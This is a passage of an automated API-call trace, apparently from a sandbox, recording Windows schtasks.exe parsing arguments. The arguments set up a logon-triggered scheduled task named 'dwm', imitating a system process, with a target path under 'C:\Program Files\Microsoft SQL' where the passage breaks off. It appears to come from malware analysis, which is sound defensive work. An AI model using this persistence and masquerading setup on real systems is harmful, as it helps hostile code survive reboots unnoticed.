lpSrch="|tn|") returned 0x0 [0106.072] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.072] lstrlenW (lpString="mo") returned 2 [0106.072] lstrlenW (lpString="mo") returned 2 [0106.072] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.072] lstrlenW (lpString="tn") returned 2 [0106.072] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.072] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|mo|") returned 4 [0106.072] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.072] lstrlenW (lpString="|mo|") returned 4 [0106.072] lstrlenW (lpString="|tn|") returned 4 [0106.072] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0106.072] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.072] lstrlenW (lpString="d") returned 1 [0106.072] lstrlenW (lpString="d") returned 1 [0106.072] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.072] lstrlenW (lpString="tn") returned 2 [0106.072] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.073] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|d|") returned 3 [0106.073] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.073] lstrlenW (lpString="|d|") returned 3 [0106.073] lstrlenW (lpString="|tn|") returned 4 [0106.073] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.073] lstrlenW (lpString="m") returned 1 [0106.073] lstrlenW (lpString="m") returned 1 [0106.073] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.073] lstrlenW (lpString="tn") returned 2 [0106.073] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.073] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|m|") returned 3 [0106.073] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.073] lstrlenW (lpString="|m|") returned 3 [0106.073] lstrlenW (lpString="|tn|") returned 4 [0106.073] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.073] lstrlenW (lpString="i") returned 1 [0106.073] lstrlenW (lpString="i") returned 1 [0106.073] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.073] lstrlenW (lpString="tn") returned 2 [0106.073] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.073] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|i|") returned 3 [0106.073] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.073] lstrlenW (lpString="|i|") returned 3 [0106.073] lstrlenW (lpString="|tn|") returned 4 [0106.074] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.074] lstrlenW (lpString="tn") returned 2 [0106.074] lstrlenW (lpString="tn") returned 2 [0106.074] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.074] lstrlenW (lpString="tn") returned 2 [0106.074] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.074] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.074] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.074] lstrlenW (lpString="|tn|") returned 4 [0106.074] lstrlenW (lpString="|tn|") returned 4 [0106.074] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0106.074] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.074] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.074] lstrlenW (lpString="dwm") returned 3 [0106.074] lstrlenW (lpString="-/") returned 2 [0106.074] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0106.074] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.074] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.074] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.074] lstrlenW (lpString="dwm") returned 3 [0106.074] StrChrIW (lpStart="dwm", wMatch=0x3a) returned 0x0 [0106.074] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.075] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.075] lstrlenW (lpString="dwm") returned 3 [0106.075] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.075] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.075] lstrlenW (lpString="/sc") returned 3 [0106.075] lstrlenW (lpString="-/") returned 2 [0106.075] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0106.075] lstrlenW (lpString="create") returned 6 [0106.075] lstrlenW (lpString="create") returned 6 [0106.075] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.075] lstrlenW (lpString="sc") returned 2 [0106.075] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.075] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|create|") returned 8 [0106.075] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|sc|") returned 4 [0106.075] lstrlenW (lpString="|create|") returned 8 [0106.075] lstrlenW (lpString="|sc|") returned 4 [0106.075] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0106.075] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.075] lstrlenW (lpString="?") returned 1 [0106.075] lstrlenW (lpString="?") returned 1 [0106.075] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.075] lstrlenW (lpString="sc") returned 2 [0106.075] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.078] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|?|") returned 3 [0106.078] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|sc|") returned 4 [0106.078] lstrlenW (lpString="|?|") returned 3 [0106.078] lstrlenW (lpString="|sc|") returned 4 [0106.078] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.078] lstrlenW (lpString="s") returned 1 [0106.078] lstrlenW (lpString="s") returned 1 [0106.078] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.079] lstrlenW (lpString="sc") returned 2 [0106.079] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.079] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|s|") returned 3 [0106.079] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|sc|") returned 4 [0106.079] lstrlenW (lpString="|s|") returned 3 [0106.079] lstrlenW (lpString="|sc|") returned 4 [0106.079] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.079] lstrlenW (lpString="u") returned 1 [0106.079] lstrlenW (lpString="u") returned 1 [0106.079] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.079] lstrlenW (lpString="sc") returned 2 [0106.079] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.079] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|u|") returned 3 [0106.079] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|sc|") returned 4 [0106.079] lstrlenW (lpString="|u|") returned 3 [0106.079] lstrlenW (lpString="|sc|") returned 4 [0106.079] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.079] lstrlenW (lpString="p") returned 1 [0106.079] lstrlenW (lpString="p") returned 1 [0106.079] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.079] lstrlenW (lpString="sc") returned 2 [0106.079] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.079] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|p|") returned 3 [0106.079] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|sc|") returned 4 [0106.080] lstrlenW (lpString="|p|") returned 3 [0106.080] lstrlenW (lpString="|sc|") returned 4 [0106.080] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.080] lstrlenW (lpString="ru") returned 2 [0106.080] lstrlenW (lpString="ru") returned 2 [0106.080] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.080] lstrlenW (lpString="sc") returned 2 [0106.080] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.080] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|ru|") returned 4 [0106.080] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|sc|") returned 4 [0106.080] lstrlenW (lpString="|ru|") returned 4 [0106.080] lstrlenW (lpString="|sc|") returned 4 [0106.080] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0106.080] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.080] lstrlenW (lpString="rp") returned 2 [0106.080] lstrlenW (lpString="rp") returned 2 [0106.080] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.080] lstrlenW (lpString="sc") returned 2 [0106.080] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.080] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rp|") returned 4 [0106.080] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|sc|") returned 4 [0106.080] lstrlenW (lpString="|rp|") returned 4 [0106.080] lstrlenW (lpString="|sc|") returned 4 [0106.080] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0106.080] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.080] lstrlenW (lpString="sc") returned 2 [0106.081] lstrlenW (lpString="sc") returned 2 [0106.081] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.081] lstrlenW (lpString="sc") returned 2 [0106.081] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.081] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|sc|") returned 4 [0106.081] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|sc|") returned 4 [0106.081] lstrlenW (lpString="|sc|") returned 4 [0106.081] lstrlenW (lpString="|sc|") returned 4 [0106.081] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0106.081] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.081] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.081] lstrlenW (lpString="ONLOGON") returned 7 [0106.081] lstrlenW (lpString="-/") returned 2 [0106.081] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0106.081] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.081] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.081] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.081] lstrlenW (lpString="ONLOGON") returned 7 [0106.081] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0106.081] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.081] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.081] GetProcessHeap () returned 0x1f4ae8c0000 [0106.081] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x18) returned 0x1f4ae8cab20 [0106.081] _memicmp (_Buf1=0x1f4ae8cab20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.081] lstrlenW (lpString="ONLOGON") returned 7 [0106.081] GetProcessHeap () returned 0x1f4ae8c0000 [0106.081] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x10) returned 0x1f4ae8cab40 [0106.081] lstrlenW (lpString="ONLOGON") returned 7 [0106.082] lstrlenW (lpString=" \x09") returned 2 [0106.082] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0106.082] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0106.082] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0106.082] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0106.082] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0106.082] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0106.082] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0106.082] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0106.082] GetLastError () returned 0x0 [0106.082] lstrlenW (lpString="ONLOGON") returned 7 [0106.082] lstrlenW (lpString="ONLOGON") returned 7 [0106.082] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.082] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.082] lstrlenW (lpString="/tr") returned 3 [0106.082] lstrlenW (lpString="-/") returned 2 [0106.082] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0106.082] lstrlenW (lpString="create") returned 6 [0106.082] lstrlenW (lpString="create") returned 6 [0106.082] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.082] lstrlenW (lpString="tr") returned 2 [0106.082] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.082] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|create|") returned 8 [0106.082] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.082] lstrlenW (lpString="|create|") returned 8 [0106.082] lstrlenW (lpString="|tr|") returned 4 [0106.082] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0106.083] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.083] lstrlenW (lpString="?") returned 1 [0106.083] lstrlenW (lpString="?") returned 1 [0106.083] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.083] lstrlenW (lpString="tr") returned 2 [0106.083] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.083] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|?|") returned 3 [0106.083] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.083] lstrlenW (lpString="|?|") returned 3 [0106.083] lstrlenW (lpString="|tr|") returned 4 [0106.083] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.083] lstrlenW (lpString="s") returned 1 [0106.083] lstrlenW (lpString="s") returned 1 [0106.083] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.083] lstrlenW (lpString="tr") returned 2 [0106.083] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.083] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|s|") returned 3 [0106.083] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.083] lstrlenW (lpString="|s|") returned 3 [0106.083] lstrlenW (lpString="|tr|") returned 4 [0106.083] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.083] lstrlenW (lpString="u") returned 1 [0106.083] lstrlenW (lpString="u") returned 1 [0106.083] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.083] lstrlenW (lpString="tr") returned 2 [0106.084] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.084] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|u|") returned 3 [0106.084] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.084] lstrlenW (lpString="|u|") returned 3 [0106.084] lstrlenW (lpString="|tr|") returned 4 [0106.084] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.084] lstrlenW (lpString="p") returned 1 [0106.084] lstrlenW (lpString="p") returned 1 [0106.084] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.084] lstrlenW (lpString="tr") returned 2 [0106.084] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.084] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|p|") returned 3 [0106.084] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.084] lstrlenW (lpString="|p|") returned 3 [0106.084] lstrlenW (lpString="|tr|") returned 4 [0106.084] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.084] lstrlenW (lpString="ru") returned 2 [0106.084] lstrlenW (lpString="ru") returned 2 [0106.084] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.084] lstrlenW (lpString="tr") returned 2 [0106.084] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.084] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|ru|") returned 4 [0106.084] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.084] lstrlenW (lpString="|ru|") returned 4 [0106.084] lstrlenW (lpString="|tr|") returned 4 [0106.085] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0106.085] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.085] lstrlenW (lpString="rp") returned 2 [0106.085] lstrlenW (lpString="rp") returned 2 [0106.085] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.085] lstrlenW (lpString="tr") returned 2 [0106.085] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.085] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rp|") returned 4 [0106.085] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.085] lstrlenW (lpString="|rp|") returned 4 [0106.085] lstrlenW (lpString="|tr|") returned 4 [0106.085] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0106.085] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.085] lstrlenW (lpString="sc") returned 2 [0106.085] lstrlenW (lpString="sc") returned 2 [0106.085] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.085] lstrlenW (lpString="tr") returned 2 [0106.085] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.085] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|sc|") returned 4 [0106.085] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.085] lstrlenW (lpString="|sc|") returned 4 [0106.085] lstrlenW (lpString="|tr|") returned 4 [0106.085] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0106.085] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.085] lstrlenW (lpString="mo") returned 2 [0106.085] lstrlenW (lpString="mo") returned 2 [0106.086] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.086] lstrlenW (lpString="tr") returned 2 [0106.086] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.086] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|mo|") returned 4 [0106.086] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.086] lstrlenW (lpString="|mo|") returned 4 [0106.086] lstrlenW (lpString="|tr|") returned 4 [0106.086] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0106.086] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.086] lstrlenW (lpString="d") returned 1 [0106.086] lstrlenW (lpString="d") returned 1 [0106.086] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.086] lstrlenW (lpString="tr") returned 2 [0106.086] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.086] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|d|") returned 3 [0106.086] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.086] lstrlenW (lpString="|d|") returned 3 [0106.086] lstrlenW (lpString="|tr|") returned 4 [0106.086] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.086] lstrlenW (lpString="m") returned 1 [0106.086] lstrlenW (lpString="m") returned 1 [0106.086] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.086] lstrlenW (lpString="tr") returned 2 [0106.086] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.086] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|m|") returned 3 [0106.087] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.087] lstrlenW (lpString="|m|") returned 3 [0106.087] lstrlenW (lpString="|tr|") returned 4 [0106.087] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.087] lstrlenW (lpString="i") returned 1 [0106.087] lstrlenW (lpString="i") returned 1 [0106.087] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.087] lstrlenW (lpString="tr") returned 2 [0106.087] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.087] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|i|") returned 3 [0106.087] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.087] lstrlenW (lpString="|i|") returned 3 [0106.087] lstrlenW (lpString="|tr|") returned 4 [0106.087] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.087] lstrlenW (lpString="tn") returned 2 [0106.087] lstrlenW (lpString="tn") returned 2 [0106.087] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.087] lstrlenW (lpString="tr") returned 2 [0106.087] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.087] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.087] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.087] lstrlenW (lpString="|tn|") returned 4 [0106.087] lstrlenW (lpString="|tr|") returned 4 [0106.087] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0106.087] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.087] lstrlenW (lpString="tr") returned 2 [0106.088] lstrlenW (lpString="tr") returned 2 [0106.088] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.088] lstrlenW (lpString="tr") returned 2 [0106.088] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.088] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.088] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.088] lstrlenW (lpString="|tr|") returned 4 [0106.088] lstrlenW (lpString="|tr|") returned 4 [0106.088] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0106.088] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.088] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.088] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL 